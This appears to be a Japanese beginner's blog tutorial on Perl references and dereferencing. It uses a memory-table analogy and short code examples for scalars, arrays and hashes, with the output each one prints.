変数の中のアドレスを参照して変数に格納することです
アドレスとは、例えば
| 果物(1) | 野菜(2) | 肉(3) |
|:-:|:-:|:-:|

例え）
枠ひとつに対して()に番号が振られているテーブルがあります。
このテーブルにそれぞれ果物、野菜、肉という名前の変数名を付けました。
このテーブルがコンピュータのメモリといい、果物名に表記されている番号の呼び名がアドレスです。
リファレンスとは**アドレスを格納している変数を作る**ということです。

| 果物(1) | 野菜(2)|肉(3)|
|:-:|:-:|:-:|
|  (1)(4) | (2)(5)  | (3)(6)  |

なお、通常の変数を関数などに渡す場合、変数の中身をそのままコピーして渡すことになります。
少し語弊がありますが、一度作成した変数を再度コピーして関数に使うという挙動になります。
それに比べてリファレンスは、変数をコピーせずアドレスを参照して渡してくれるので、処理が軽くなります。リファレンスをするメリットの一つとしてこういった背景があるんですね。

## リファレンスの種類

リファレンスはスカラ値, 配列, ハッシュに適応することができます。
Perlの変数については[【Perl初学者】Perlの変数宣言](https://qiita.com/takopa/items/cba39b29aa9d08f35fd8)を見てもらえればと思います。

#### スカラ値
```perl;hello.pl
my $apple = 'りんご';
my $scalar = \$apple;
print "$scalar\n";

#結果
#SCALAR(0x7fbe2b8148b8)変数のアドレス
```

### 配列

```perl;hello.pl
my @food = ('果物','野菜','肉');
my $array = \@food;
print "$array\n";

#一気にリファレンス化したい場合（無名配列生成子）
my $array = ['果物','野菜','肉'];#[]を使用

#結果
#ARRAY(0x7fbe2b814858)変数のアドレス
```

### ハッシュ

```perl;hello.pl
my %foods = (
  '果物' => 'りんご',
  '野菜' => 'すいか',
  'にく' => '豚',
);
my $hash = \%foods;

#一気にリファレンス化したい場合（無名ハッシュ生成子）
my $array = {
  '果物' => 'りんご',
  '野菜' => 'すいか',
  'にく' => '豚',
};#{}を使用
print "$hash\n";

#結果
#HASH(0x7fbe2b8148d0)変数のアドレス
```

# デリファレンスとは

リファレンスの反対の意味で、リファレンスした変数の中身を取り出すという意味
ここで大事なことは、リファレンスと同じように、中身をコピーせずに済むので処理速度が速くなります。

## デリファレンスの種類

### スカラ値

```perl;hello.pl
my $dscalar = $$scalar;#先ほどリファレンス化した値,処理が複雑な場合は変数を{}で囲む
print "$dscalar\n";

#結果
#りんご
```

### 配列

```perl;hello.pl
my @darray = @$array;#先ほどリファレンス化した値,処理が複雑な場合は変数を{}で囲む
print "@darray\n";

#結果
#果物 野菜 肉
```

### ハッシュ

```perl;hello.pl
my %dhash = %$hash;
$, = "\n";#この特殊変数を設定するとハッシュの配列１つ１つが改行される
print %dhash;

#結果
#果物　りんご　肉　ぶた　野菜　すいか
#ハッシュの文字列は順番を保持しないので注意
```

# まとめ
このようにリファレンスとデリファレンスは使用する際のメリットが大きく、使われる頻度も多いと思うのでセットで覚えておくといいかもしれません、閲覧ありがとうございました。